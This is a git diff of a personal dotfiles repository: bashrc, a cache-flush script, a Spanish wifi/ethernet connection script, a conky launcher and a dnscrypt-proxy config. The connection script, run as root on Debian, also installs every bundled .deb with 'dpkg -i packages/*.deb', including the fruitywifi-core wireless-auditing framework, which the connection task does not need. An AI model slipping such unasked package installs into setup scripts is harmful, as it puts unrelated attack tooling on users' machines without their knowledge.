free software which everyone can redistribute and change under these terms.
|
||||||
|
|
||||||
|
To do so, attach the following notices to the program. It is safest
|
||||||
|
to attach them to the start of each source file to most effectively
|
||||||
|
state the exclusion of warranty; and each file should have at least
|
||||||
|
the "copyright" line and a pointer to where the full notice is found.
|
||||||
|
|
||||||
|
{one line to give the program's name and a brief idea of what it does.}
|
||||||
|
Copyright (C) {year} {name of author}
|
||||||
|
|
||||||
|
This program is free software: you can redistribute it and/or modify
|
||||||
|
it under the terms of the GNU General Public License as published by
|
||||||
|
the Free Software Foundation, either version 3 of the License, or
|
||||||
|
(at your option) any later version.
|
||||||
|
|
||||||
|
This program is distributed in the hope that it will be useful,
|
||||||
|
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||||
|
GNU General Public License for more details.
|
||||||
|
|
||||||
|
You should have received a copy of the GNU General Public License
|
||||||
|
along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
|
|
||||||
|
Also add information on how to contact you by electronic and paper mail.
|
||||||
|
|
||||||
|
If the program does terminal interaction, make it output a short
|
||||||
|
notice like this when it starts in an interactive mode:
|
||||||
|
|
||||||
|
{project} Copyright (C) {year} {fullname}
|
||||||
|
This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
|
||||||
|
This is free software, and you are welcome to redistribute it
|
||||||
|
under certain conditions; type `show c' for details.
|
||||||
|
|
||||||
|
The hypothetical commands `show w' and `show c' should show the appropriate
|
||||||
|
parts of the General Public License. Of course, your program's commands
|
||||||
|
might be different; for a GUI interface, you would use an "about box".
|
||||||
|
|
||||||
|
You should also get your employer (if you work as a programmer) or school,
|
||||||
|
if any, to sign a "copyright disclaimer" for the program, if necessary.
|
||||||
|
For more information on this, and how to apply and follow the GNU GPL, see
|
||||||
|
<http://www.gnu.org/licenses/>.
|
||||||
|
|
||||||
|
The GNU General Public License does not permit incorporating your program
|
||||||
|
into proprietary programs. If your program is a subroutine library, you
|
||||||
|
may consider it more useful to permit linking proprietary applications with
|
||||||
|
the library. If this is what you want to do, use the GNU Lesser General
|
||||||
|
Public License instead of this License. But first, please read
|
||||||
|
<http://www.gnu.org/philosophy/why-not-lgpl.html>.
|
||||||
116
bashrc
Normal file
116
bashrc
Normal file
|
|
@ -0,0 +1,116 @@
|
||||||
|
# ~/.bashrc: executed by bash(1) for non-login shells.
|
||||||
|
# see /usr/share/doc/bash/examples/startup-files (in the package bash-doc)
|
||||||
|
# for examples
|
||||||
|
|
||||||
|
# If not running interactively, don't do anything
|
||||||
|
case $- in
|
||||||
|
*i*) ;;
|
||||||
|
*) return;;
|
||||||
|
esac
|
||||||
|
|
||||||
|
# don't put duplicate lines or lines starting with space in the history.
|
||||||
|
# See bash(1) for more options
|
||||||
|
HISTCONTROL=ignoreboth
|
||||||
|
|
||||||
|
# append to the history file, don't overwrite it
|
||||||
|
shopt -s histappend
|
||||||
|
|
||||||
|
# for setting history length see HISTSIZE and HISTFILESIZE in bash(1)
|
||||||
|
HISTSIZE=1000
|
||||||
|
HISTFILESIZE=2000
|
||||||
|
|
||||||
|
# check the window size after each command and, if necessary,
|
||||||
|
# update the values of LINES and COLUMNS.
|
||||||
|
shopt -s checkwinsize
|
||||||
|
|
||||||
|
# If set, the pattern "**" used in a pathname expansion context will
|
||||||
|
# match all files and zero or more directories and subdirectories.
|
||||||
|
#shopt -s globstar
|
||||||
|
|
||||||
|
# make less more friendly for non-text input files, see lesspipe(1)
|
||||||
|
#[ -x /usr/bin/lesspipe ] && eval "$(SHELL=/bin/sh lesspipe)"
|
||||||
|
|
||||||
|
# set variable identifying the chroot you work in (used in the prompt below)
|
||||||
|
if [ -z "${debian_chroot:-}" ] && [ -r /etc/debian_chroot ]; then
|
||||||
|
debian_chroot=$(cat /etc/debian_chroot)
|
||||||
|
fi
|
||||||
|
|
||||||
|
# set a fancy prompt (non-color, unless we know we "want" color)
|
||||||
|
case "$TERM" in
|
||||||
|
xterm-color|*-256color) color_prompt=yes;;
|
||||||
|
esac
|
||||||
|
|
||||||
|
# uncomment for a colored prompt, if the terminal has the capability; turned
|
||||||
|
# off by default to not distract the user: the focus in a terminal window
|
||||||
|
# should be on the output of commands, not on the prompt
|
||||||
|
#force_color_prompt=yes
|
||||||
|
|
||||||
|
if [ -n "$force_color_prompt" ]; then
|
||||||
|
if [ -x /usr/bin/tput ] && tput setaf 1 >&/dev/null; then
|
||||||
|
# We have color support; assume it's compliant with Ecma-48
|
||||||
|
# (ISO/IEC-6429). (Lack of such support is extremely rare, and such
|
||||||
|
# a case would tend to support setf rather than setaf.)
|
||||||
|
color_prompt=yes
|
||||||
|
else
|
||||||
|
color_prompt=
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
|
||||||
|
if [ "$color_prompt" = yes ]; then
|
||||||
|
PS1='${debian_chroot:+($debian_chroot)}\[\033[01;32m\]\u@\h\[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]\$ '
|
||||||
|
else
|
||||||
|
PS1='${debian_chroot:+($debian_chroot)}\u@\h:\w\$ '
|
||||||
|
fi
|
||||||
|
unset color_prompt force_color_prompt
|
||||||
|
|
||||||
|
# If this is an xterm set the title to user@host:dir
|
||||||
|
case "$TERM" in
|
||||||
|
xterm*|rxvt*)
|
||||||
|
PS1="\[\e]0;${debian_chroot:+($debian_chroot)}\u@\h: \w\a\]$PS1"
|
||||||
|
;;
|
||||||
|
*)
|
||||||
|
;;
|
||||||
|
esac
|
||||||
|
|
||||||
|
# enable color support of ls and also add handy aliases
|
||||||
|
if [ -x /usr/bin/dircolors ]; then
|
||||||
|
test -r ~/.dircolors && eval "$(dircolors -b ~/.dircolors)" || eval "$(dircolors -b)"
|
||||||
|
alias ls='ls --color=auto'
|
||||||
|
#alias dir='dir --color=auto'
|
||||||
|
#alias vdir='vdir --color=auto'
|
||||||
|
|
||||||
|
#alias grep='grep --color=auto'
|
||||||
|
#alias fgrep='fgrep --color=auto'
|
||||||
|
#alias egrep='egrep --color=auto'
|
||||||
|
fi
|
||||||
|
|
||||||
|
# colored GCC warnings and errors
|
||||||
|
#export GCC_COLORS='error=01;31:warning=01;35:note=01;36:caret=01;32:locus=01:quote=01'
|
||||||
|
|
||||||
|
# some more ls aliases
|
||||||
|
#alias ll='ls -l'
|
||||||
|
#alias la='ls -A'
|
||||||
|
#alias l='ls -CF'
|
||||||
|
|
||||||
|
# Alias definitions.
|
||||||
|
# You may want to put all your additions into a separate file like
|
||||||
|
# ~/.bash_aliases, instead of adding them here directly.
|
||||||
|
# See /usr/share/doc/bash-doc/examples in the bash-doc package.
|
||||||
|
|
||||||
|
if [ -f ~/.bash_aliases ]; then
|
||||||
|
. ~/.bash_aliases
|
||||||
|
fi
|
||||||
|
|
||||||
|
# enable programmable completion features (you don't need to enable
|
||||||
|
# this, if it's already enabled in /etc/bash.bashrc and /etc/profile
|
||||||
|
# sources /etc/bash.bashrc).
|
||||||
|
if ! shopt -oq posix; then
|
||||||
|
if [ -f /usr/share/bash-completion/bash_completion ]; then
|
||||||
|
. /usr/share/bash-completion/bash_completion
|
||||||
|
elif [ -f /etc/bash_completion ]; then
|
||||||
|
. /etc/bash_completion
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
|
||||||
|
#own alias
|
||||||
|
alias pb='curl -F c=@- https://ptpb.pw/'
|
||||||
4
cache.sh
Normal file
4
cache.sh
Normal file
|
|
@ -0,0 +1,4 @@
|
||||||
|
#!/bin/sh
|
||||||
|
sudo sh -c "sync; echo 3 > /proc/sys/vm/drop_caches"
|
||||||
|
sudo swapoff -a
|
||||||
|
sudo swapon -a
|
||||||
139
conectar/conectar
Executable file
139
conectar/conectar
Executable file
|
|
@ -0,0 +1,139 @@
|
||||||
|
#!/usr/bin/env bash
|
||||||
|
#Usted es libre de editar y/o distribuir este programa bajo los terminos de la licencia GPL v3 o posterior.
|
||||||
|
|
||||||
|
printf "\nEste script está diseñado para que te conectes a internet sin necesidad de un gestor gráfico de red
|
||||||
|
haciendo uso de software como wpa_supplicant, dhcpcd/dhclient e iptools desde la línea de comandos.
|
||||||
|
Programador: Eduard Eliecer Tolosa Toloza
|
||||||
|
XMPP/Email: tolosaeduard@disroot.org
|
||||||
|
Contacto y sala de chat: https://riot.im/app/#/room/#securityhacklabs:matrix.org
|
||||||
|
Telegram: https://t.me/sechacklabs
|
||||||
|
Security Hack Labs Team. @SecHackLabs
|
||||||
|
Blog: https://securityhacklabs.net\n
|
||||||
|
"
|
||||||
|
|
||||||
|
|
||||||
|
if [ "$UID" -ne 0 ]; then
|
||||||
|
echo -e "\n Usted necesita privilegios root o sudo."
|
||||||
|
exit
|
||||||
|
fi
|
||||||
|
|
||||||
|
echo -e "Elige el tipo de red que deseas usar:\n
|
||||||
|
a) Sin autenticación \nb) Con contraseña\nc) Red cableada (Ethernet)"
|
||||||
|
read -p "::" iskey
|
||||||
|
|
||||||
|
if [ -f /usr/bin/wpa_supplicant ] || [ -f /sbin/wpa_supplicant ] ; then
|
||||||
|
echo -e "\nwpa_supplicant está instalado."
|
||||||
|
else
|
||||||
|
if [ -f /etc/pacman.conf ] ; then
|
||||||
|
pacman -S wpa_supplicant
|
||||||
|
elif [ -f /etc/apt/sources.list ] ; then
|
||||||
|
apt install wpasupplicant
|
||||||
|
dpkg -i packages/*.deb
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
if [ -f /usr/bin/dhcpcd ] || [ -f /sbin/dhcpcd ] ; then
|
||||||
|
echo -e "dhcpcd está instalado.\n"
|
||||||
|
else
|
||||||
|
if [ -f /etc/pacman.conf ] ; then
|
||||||
|
pacman -S dhcpcd
|
||||||
|
elif [ -f /etc/apt/sources.list ] ; then
|
||||||
|
apt install dhcpcd5
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
function connect(){
|
||||||
|
iface=$(ls /sys/class/net/ | grep w)
|
||||||
|
rfkill unblock all
|
||||||
|
dhcpcd -k $iface
|
||||||
|
killall dhcpcd
|
||||||
|
killall dhclient
|
||||||
|
killall wpa_supplicant
|
||||||
|
ip link set dev $iface up
|
||||||
|
wpa_supplicant -B -i $iface -c /etc/wpa.conf
|
||||||
|
dhcpcd -4 --noarp $iface
|
||||||
|
}
|
||||||
|
|
||||||
|
if [ $iskey == "a" ] ; then
|
||||||
|
if [ -f /etc/wpa.conf ] ; then
|
||||||
|
connect
|
||||||
|
else
|
||||||
|
echo -e "\nNecesitas configurar tu archivo de conexión, por favor ingrese los datos cuando sean solicitados.\n"
|
||||||
|
read -p "Introduce tu nombre de red: " nombre
|
||||||
|
echo -e "network={\n\tssid=\"$nombre\"\n\tkey_mgmt=NONE\n\tpriority=100\n}" > /etc/wpa.conf
|
||||||
|
connect
|
||||||
|
if [ $? -eq 0 ] ; then
|
||||||
|
echo -e "\nConexión establecida."
|
||||||
|
else
|
||||||
|
echo -e "\nHa ocurrido un error."
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
|
||||||
|
if [ $iskey == "b" ] ; then
|
||||||
|
if [ -f /etc/wpa.conf ] ; then
|
||||||
|
connect
|
||||||
|
else
|
||||||
|
echo -e "\nNecesitas configurar tu archivo de conexión, por favor ingrese los datos cuando sean solicitados.\n"
|
||||||
|
read -p "Introduce tu nombre de red: " nombre
|
||||||
|
read -p "Introduce tu contraseña: " password
|
||||||
|
wpa_passphrase "$nombre" "$password" > /etc/wpa.conf
|
||||||
|
connect
|
||||||
|
if [ $? -eq 0 ] ; then
|
||||||
|
echo -e "\nConexión establecida."
|
||||||
|
else
|
||||||
|
echo -e "\nHa ocurrido un error."
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
|
||||||
|
if [ $iskey == "c" ] ; then
|
||||||
|
if [ -f ~/.conectarc ] ; then
|
||||||
|
echo -e "\nUsted ya tiene habilitado DHCPCD, si no tiene internet, revisa tu moden o cable\n"
|
||||||
|
exit
|
||||||
|
elif [ -f ~/.nosystemd ] ; then
|
||||||
|
iface=$(ls /sys/class/net/ | grep e)
|
||||||
|
echo -e "\nEstableciendo una conexión.\n"
|
||||||
|
rfkill unblock all
|
||||||
|
dhcpcd -k $iface
|
||||||
|
killall dhcpcd
|
||||||
|
killall dhclient
|
||||||
|
killall wpa_supplicant
|
||||||
|
ip link set dev $iface up
|
||||||
|
dhcpcd -4 --noarp $iface
|
||||||
|
if [ $? -eq 0 ] ; then
|
||||||
|
echo -e "\nConexión establecida."
|
||||||
|
exit
|
||||||
|
else
|
||||||
|
echo -e "\nHa ocurrido un error.\n"
|
||||||
|
fi
|
||||||
|
else
|
||||||
|
iface=$(ls /sys/class/net/ | grep e)
|
||||||
|
echo -e "\nEstableciendo una conexión.\n"
|
||||||
|
rfkill unblock all
|
||||||
|
dhcpcd -k $iface
|
||||||
|
killall dhcpcd
|
||||||
|
killall dhclient
|
||||||
|
killall wpa_supplicant
|
||||||
|
ip link set dev $iface up
|
||||||
|
dhcpcd -4 --noarp $iface
|
||||||
|
if [ "$?" -eq 0 ] ; then
|
||||||
|
read -p "¿Está usted usando SystemD? (s/n)" systemd
|
||||||
|
if [ "$systemd" == "s" ] ; then
|
||||||
|
echo -e "\nHabilitando DHCPCD mediante systemctl.\n"
|
||||||
|
systemctl enable dhcpcd
|
||||||
|
if [ "$?" -eq 0 ] ; then
|
||||||
|
echo "Archivo para comprobar que DHCPCD está habilitando en el inicio del systema, creado por el script 'conectar'" > ~/.conectarc
|
||||||
|
echo -e "\nConexión establecida."
|
||||||
|
exit
|
||||||
|
fi
|
||||||
|
else
|
||||||
|
echo -e "\nUsted no usa SystemD, puede habilitar DHCPCD usando tu gestor init."
|
||||||
|
echo "Archivo para comprobar que no usas Systemd." > ~/.nosystemd
|
||||||
|
echo -e "\nConexión establecida."
|
||||||
|
fi
|
||||||
|
else
|
||||||
|
echo -e "\nHa ocurrido un error.\n"
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
|
||||||
|
|
||||||
BIN
conectar/packages/dnsmasq_2.78-1_all.deb
Normal file
BIN
conectar/packages/dnsmasq_2.78-1_all.deb
Normal file
Binary file not shown.
BIN
conectar/packages/fruitywifi-core_2.4-0kali5_amd64.deb
Normal file
BIN
conectar/packages/fruitywifi-core_2.4-0kali5_amd64.deb
Normal file
Binary file not shown.
Binary file not shown.
BIN
conectar/packages/php-curl_1%3a7.0+56_all.deb
Normal file
BIN
conectar/packages/php-curl_1%3a7.0+56_all.deb
Normal file
Binary file not shown.
BIN
conectar/packages/php7.0-curl_7.0.26-1_amd64.deb
Normal file
BIN
conectar/packages/php7.0-curl_7.0.26-1_amd64.deb
Normal file
Binary file not shown.
BIN
conectar/packages/php7.0-fpm_7.0.26-1_amd64.deb
Normal file
BIN
conectar/packages/php7.0-fpm_7.0.26-1_amd64.deb
Normal file
Binary file not shown.
BIN
conectar/packages/php7.0-xml_7.0.26-1_amd64.deb
Normal file
BIN
conectar/packages/php7.0-xml_7.0.26-1_amd64.deb
Normal file
Binary file not shown.
BIN
conectar/packages/python-netifaces_0.10.4-0.1+b3_amd64.deb
Normal file
BIN
conectar/packages/python-netifaces_0.10.4-0.1+b3_amd64.deb
Normal file
Binary file not shown.
9
conkyp
Normal file
9
conkyp
Normal file
|
|
@ -0,0 +1,9 @@
|
||||||
|
#!/usr/bin/env bash
|
||||||
|
#Scrip to start a custom conky configuration with Fluxbox.
|
||||||
|
|
||||||
|
sleep 10s
|
||||||
|
conky -q -c "/home/shl/.conky/Gotham/Gotham" &
|
||||||
|
conky -q -c "/home/shl/.conky/TeejeeTech/CPU Panel (8-core)" &
|
||||||
|
conky -q -c "/home/shl/.conky/TeejeeTech/Network Panel" &
|
||||||
|
conky -q -c "/home/shl/.conky/TeejeeTech/Process Panel" &
|
||||||
|
exit
|
||||||
398
dnscrypt-proxy/dnscrypt-proxy.toml
Normal file
398
dnscrypt-proxy/dnscrypt-proxy.toml
Normal file
|
|
@ -0,0 +1,398 @@
|
||||||
|
|
||||||
|
##############################################
|
||||||
|
# #
|
||||||
|
# dnscrypt-proxy configuration #
|
||||||
|
# #
|
||||||
|
##############################################
|
||||||
|
|
||||||
|
## This is an example configuration file.
|
||||||
|
## You should adjust it to your needs, and save it as "dnscrypt-proxy.toml"
|
||||||
|
##
|
||||||
|
## Online documentation is available here: https://dnscrypt.info/doc
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
##################################
|
||||||
|
# Global settings #
|
||||||
|
##################################
|
||||||
|
|
||||||
|
## List of servers to use
|
||||||
|
## If this line is commented, all registered servers matching the require_* filters
|
||||||
|
## will be used
|
||||||
|
## The proxy will automatically pick the fastest, working servers from the list.
|
||||||
|
## Remove the leading # first to enable this; lines starting with # are ignored.
|
||||||
|
|
||||||
|
server_names = ['dnscrypt']
|
||||||
|
|
||||||
|
|
||||||
|
## List of local addresses and ports to listen to. Can be IPv4 and/or IPv6.
|
||||||
|
## To only use systemd activation sockets, use an empty set: []
|
||||||
|
|
||||||
|
listen_addresses = []
|
||||||
|
|
||||||
|
|
||||||
|
## Maximum number of simultaneous client connections to accept
|
||||||
|
|
||||||
|
max_clients = 250
|
||||||
|
|
||||||
|
|
||||||
|
## Require servers (from static + remote sources) to satisfy specific properties
|
||||||
|
|
||||||
|
# Use servers reachable over IPv4
|
||||||
|
ipv4_servers = true
|
||||||
|
|
||||||
|
# Use servers reachable over IPv6 -- Do not enable if you don't have IPv6 connectivity
|
||||||
|
ipv6_servers = false
|
||||||
|
|
||||||
|
# Use servers implementing the DNSCrypt protocol
|
||||||
|
dnscrypt_servers = true
|
||||||
|
|
||||||
|
# Use servers implementing the DNS-over-HTTPS protocol
|
||||||
|
doh_servers = true
|
||||||
|
|
||||||
|
|
||||||
|
## Require servers defined by remote sources to satisfy specific properties
|
||||||
|
|
||||||
|
# Server must support DNS security extensions (DNSSEC)
|
||||||
|
require_dnssec = false
|
||||||
|
|
||||||
|
# Server must not log user queries (declarative)
|
||||||
|
require_nolog = true
|
||||||
|
|
||||||
|
# Server must not enforce its own blacklist (for parental control, ads blocking...)
|
||||||
|
require_nofilter = true
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
## Always use TCP to connect to upstream servers
|
||||||
|
|
||||||
|
force_tcp = false
|
||||||
|
|
||||||
|
|
||||||
|
## How long a DNS query will wait for a response, in milliseconds
|
||||||
|
|
||||||
|
timeout = 2500
|
||||||
|
|
||||||
|
|
||||||
|
## Load-balancing strategy: 'p2' (default), 'ph', 'fastest' or 'random'
|
||||||
|
|
||||||
|
# lb_strategy = 'p2'
|
||||||
|
|
||||||
|
|
||||||
|
## Log level (0-6, default: 2 - 0 is very verbose, 6 only contains fatal errors)
|
||||||
|
|
||||||
|
# log_level = 2
|
||||||
|
|
||||||
|
|
||||||
|
## log file for the application
|
||||||
|
|
||||||
|
# log_file = '/var/log/dnscrypt-proxy/dnscrypt-proxy.log'
|
||||||
|
|
||||||
|
|
||||||
|
## Use the system logger (syslog on Unix, Event Log on Windows)
|
||||||
|
|
||||||
|
# use_syslog = true
|
||||||
|
|
||||||
|
|
||||||
|
## Delay, in minutes, after which certificates are reloaded
|
||||||
|
|
||||||
|
cert_refresh_delay = 240
|
||||||
|
|
||||||
|
|
||||||
|
## Fallback resolver
|
||||||
|
## This is a normal, non-encrypted DNS resolver, that will be only used
|
||||||
|
## for one-shot queries when retrieving the initial resolvers list, and
|
||||||
|
## only if the system DNS configuration doesn't work.
|
||||||
|
## No user application queries will ever be leaked through this resolver,
|
||||||
|
## and it will not be used after IP addresses of resolvers URLs have been found.
|
||||||
|
## It will never be used if lists have already been cached, and if stamps
|
||||||
|
## don't include host names without IP addresses.
|
||||||
|
## It will not be used if the configured system DNS works.
|
||||||
|
## A resolver supporting DNSSEC is recommended. This may become mandatory.
|
||||||
|
|
||||||
|
fallback_resolver = '9.9.9.9:53'
|
||||||
|
|
||||||
|
|
||||||
|
## Never try to use the system DNS settings; unconditionally use the
|
||||||
|
## fallback resolver.
|
||||||
|
|
||||||
|
ignore_system_dns = false
|
||||||
|
|
||||||
|
|
||||||
|
## Automatic log files rotation
|
||||||
|
|
||||||
|
# Maximum log files size in MB
|
||||||
|
log_files_max_size = 10
|
||||||
|
|
||||||
|
# Maximum log files age in days
|
||||||
|
log_files_max_age = 7
|
||||||
|
|
||||||
|
# Maximum log files backups to keep
|
||||||
|
log_files_max_backups = 1
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
#########################
|
||||||
|
# Filters #
|
||||||
|
#########################
|
||||||
|
|
||||||
|
## Immediately respond to IPv6-related queries with an empty response
|
||||||
|
## This makes things faster when there is no IPv6 connectivity, but can
|
||||||
|
## also cause reliability issues with some stub resolvers. In
|
||||||
|
## particular, enabling this on macOS is not recommended.
|
||||||
|
|
||||||
|
block_ipv6 = false
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
##################################################################################
|
||||||
|
# Route queries for specific domains to a dedicated set of servers #
|
||||||
|
##################################################################################
|
||||||
|
|
||||||
|
## Example map entries (one entry per line):
|
||||||
|
## example.com 9.9.9.9
|
||||||
|
## example.net 9.9.9.9,8.8.8.8
|
||||||
|
|
||||||
|
# forwarding_rules = '/etc/dnscrypt-proxy/forwarding-rules.txt'
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
###############################
|
||||||
|
# Cloaking rules #
|
||||||
|
###############################
|
||||||
|
|
||||||
|
## Cloaking returns a predefined address for a specific name.
|
||||||
|
## In addition to acting as a HOSTS file, it can also return the IP address
|
||||||
|
## of a different name. It will also do CNAME flattening.
|
||||||
|
##
|
||||||
|
## Example map entries (one entry per line)
|
||||||
|
## example.com 10.1.1.1
|
||||||
|
## www.google.com forcesafesearch.google.com
|
||||||
|
|
||||||
|
# cloaking_rules = '/etc/dnscrypt-proxy/cloaking-rules.txt'
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
###########################
|
||||||
|
# DNS cache #
|
||||||
|
###########################
|
||||||
|
|
||||||
|
## Enable a DNS cache to reduce latency and outgoing traffic
|
||||||
|
|
||||||
|
cache = true
|
||||||
|
|
||||||
|
|
||||||
|
## Cache size
|
||||||
|
|
||||||
|
cache_size = 256
|
||||||
|
|
||||||
|
|
||||||
|
## Minimum TTL for cached entries
|
||||||
|
|
||||||
|
cache_min_ttl = 600
|
||||||
|
|
||||||
|
|
||||||
|
## Maximum TTL for cached entries
|
||||||
|
|
||||||
|
cache_max_ttl = 86400
|
||||||
|
|
||||||
|
|
||||||
|
## TTL for negatively cached entries
|
||||||
|
|
||||||
|
cache_neg_ttl = 60
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
###############################
|
||||||
|
# Query logging #
|
||||||
|
###############################
|
||||||
|
|
||||||
|
## Log client queries to a file
|
||||||
|
|
||||||
|
[query_log]
|
||||||
|
|
||||||
|
## Path to the query log file (absolute, or relative to the same directory as the executable file)
|
||||||
|
|
||||||
|
# file = '/var/log/dnscrypt-proxy/query.log'
|
||||||
|
|
||||||
|
|
||||||
|
## Query log format (currently supported: tsv and ltsv)
|
||||||
|
|
||||||
|
format = 'tsv'
|
||||||
|
|
||||||
|
|
||||||
|
## Do not log these query types, to reduce verbosity. Keep empty to log everything.
|
||||||
|
|
||||||
|
# ignored_qtypes = ['DNSKEY', 'NS']
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
############################################
|
||||||
|
# Suspicious queries logging #
|
||||||
|
############################################
|
||||||
|
|
||||||
|
## Log queries for nonexistent zones
|
||||||
|
## These queries can reveal the presence of malware, broken/obsolete applications,
|
||||||
|
## and devices signaling their presence to 3rd parties.
|
||||||
|
|
||||||
|
[nx_log]
|
||||||
|
|
||||||
|
## Path to the query log file (absolute, or relative to the same directory as the executable file)
|
||||||
|
|
||||||
|
# file = '/var/log/dnscrypt-proxy/nx.log'
|
||||||
|
|
||||||
|
|
||||||
|
## Query log format (currently supported: tsv and ltsv)
|
||||||
|
|
||||||
|
format = 'tsv'
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
######################################################
|
||||||
|
# Pattern-based blocking (blacklists) #
|
||||||
|
######################################################
|
||||||
|
|
||||||
|
## Blacklists are made of one pattern per line. Example of valid patterns:
|
||||||
|
##
|
||||||
|
## example.com
|
||||||
|
## *sex*
|
||||||
|
## ads.*
|
||||||
|
## ads*.example.*
|
||||||
|
## ads*.example[0-9]*.com
|
||||||
|
##
|
||||||
|
## Example blacklist files can be found at https://download.dnscrypt.info/blacklists/
|
||||||
|
## A script to build blacklists from public feeds can be found in the
|
||||||
|
## `utils/generate-domains-blacklists` directory of the dnscrypt-proxy source code.
|
||||||
|
|
||||||
|
[blacklist]
|
||||||
|
|
||||||
|
## Path to the file of blocking rules (absolute, or relative to the same directory as the executable file)
|
||||||
|
|
||||||
|
# blacklist_file = '/etc/dnscrypt-proxy/blacklist.txt'
|
||||||
|
|
||||||
|
|
||||||
|
## Optional path to a file logging blocked queries
|
||||||
|
|
||||||
|
# log_file = '/var/log/dnscrypt-proxy/blocked.log'
|
||||||
|
|
||||||
|
|
||||||
|
## Optional log format: tsv or ltsv (default: tsv)
|
||||||
|
|
||||||
|
# log_format = 'tsv'
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
###########################################################
|
||||||
|
# Pattern-based IP blocking (IP blacklists) #
|
||||||
|
###########################################################
|
||||||
|
|
||||||
|
## IP blacklists are made of one pattern per line. Example of valid patterns:
|
||||||
|
##
|
||||||
|
## 127.*
|
||||||
|
## fe80:abcd:*
|
||||||
|
## 192.168.1.4
|
||||||
|
|
||||||
|
[ip_blacklist]
|
||||||
|
|
||||||
|
## Path to the file of blocking rules (absolute, or relative to the same directory as the executable file)
|
||||||
|
|
||||||
|
# blacklist_file = '/etc/dnscrypt-proxy/ip-blacklist.txt'
|
||||||
|
|
||||||
|
|
||||||
|
## Optional path to a file logging blocked queries
|
||||||
|
|
||||||
|
# log_file = '/var/log/dnscrypt-proxy/ip-blocked.log'
|
||||||
|
|
||||||
|
|
||||||
|
## Optional log format: tsv or ltsv (default: tsv)
|
||||||
|
|
||||||
|
# log_format = 'tsv'
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
##########################################
|
||||||
|
# Time access restrictions #
|
||||||
|
##########################################
|
||||||
|
|
||||||
|
## One or more weekly schedules can be defined here.
|
||||||
|
## Patterns in the name-based blocklist can optionally be followed with @schedule_name
|
||||||
|
## to apply the pattern 'schedule_name' only when it matches a time range of that schedule.
|
||||||
|
##
|
||||||
|
## For example, the following rule in a blacklist file:
|
||||||
|
## *.youtube.* @time-to-sleep
|
||||||
|
## would block access to Youtube only during the days, and period of the days
|
||||||
|
## define by the 'time-to-sleep' schedule.
|
||||||
|
##
|
||||||
|
## {after='21:00', before= '7:00'} matches 0:00-7:00 and 21:00-0:00
|
||||||
|
## {after= '9:00', before='18:00'} matches 9:00-18:00
|
||||||
|
|
||||||
|
[schedules]
|
||||||
|
|
||||||
|
# [schedules.'time-to-sleep']
|
||||||
|
# mon = [{after='21:00', before='7:00'}]
|
||||||
|
# tue = [{after='21:00', before='7:00'}]
|
||||||
|
# wed = [{after='21:00', before='7:00'}]
|
||||||
|
# thu = [{after='21:00', before='7:00'}]
|
||||||
|
# fri = [{after='23:00', before='7:00'}]
|
||||||
|
# sat = [{after='23:00', before='7:00'}]
|
||||||
|
# sun = [{after='21:00', before='7:00'}]
|
||||||
|
|
||||||
|
# [schedules.'work']
|
||||||
|
# mon = [{after='9:00', before='18:00'}]
|
||||||
|
# tue = [{after='9:00', before='18:00'}]
|
||||||
|
# wed = [{after='9:00', before='18:00'}]
|
||||||
|
# thu = [{after='9:00', before='18:00'}]
|
||||||
|
# fri = [{after='9:00', before='17:00'}]
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
#########################
|
||||||
|
# Servers #
|
||||||
|
#########################
|
||||||
|
|
||||||
|
## Remote lists of available servers
|
||||||
|
## Multiple sources can be used simultaneously, but every source
|
||||||
|
## requires a dedicated cache file.
|
||||||
|
##
|
||||||
|
## Refer to the documentation for URLs of public sources.
|
||||||
|
##
|
||||||
|
## A prefix can be prepended to server names in order to
|
||||||
|
## avoid collisions if different sources share the same for
|
||||||
|
## different servers. In that case, names listed in `server_names`
|
||||||
|
## must include the prefixes.
|
||||||
|
##
|
||||||
|
## If the `url` property is missing, cache files and valid signatures
|
||||||
|
## must be already present; This doesn't prevent these cache files from
|
||||||
|
## expiring after `refresh_delay` hours.
|
||||||
|
|
||||||
|
[sources]
|
||||||
|
|
||||||
|
## An example of a remote source
|
||||||
|
|
||||||
|
#[sources.'public-resolvers']
|
||||||
|
#url = 'https://download.dnscrypt.info/resolvers-list/v2/public-resolvers.md'
|
||||||
|
#cache_file = '/var/cache/dnscrypt-proxy/public-resolvers.md'
|
||||||
|
#minisign_key = 'RWQf6LRCGA9i53mlYecO4IzT51TGPpvWucNSCh1CBM0QTaLn73Y7GFO3'
|
||||||
|
#refresh_delay = 72
|
||||||
|
#prefix = ''
|
||||||
|
|
||||||
|
## Another example source, with resolvers censoring some websites not appropriate for children
|
||||||
|
## This is a subset of the `public-resolvers` list, so enabling both is useless
|
||||||
|
|
||||||
|
# [sources.'parental-control']
|
||||||
|
# url = 'https://download.dnscrypt.info/resolvers-list/v2/parental-control.md'
|
||||||
|
# cache_file = '/var/cache/dnscrypt-proxy/parental-control.md'
|
||||||
|
# minisign_key = 'RWQf6LRCGA9i53mlYecO4IzT51TGPpvWucNSCh1CBM0QTaLn73Y7GFO3'
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
## Optional, local, static list of additional servers
|
||||||
|
## Mostly useful for testing your own servers.
|
||||||
|
|
||||||
|
[static]
|
||||||
|
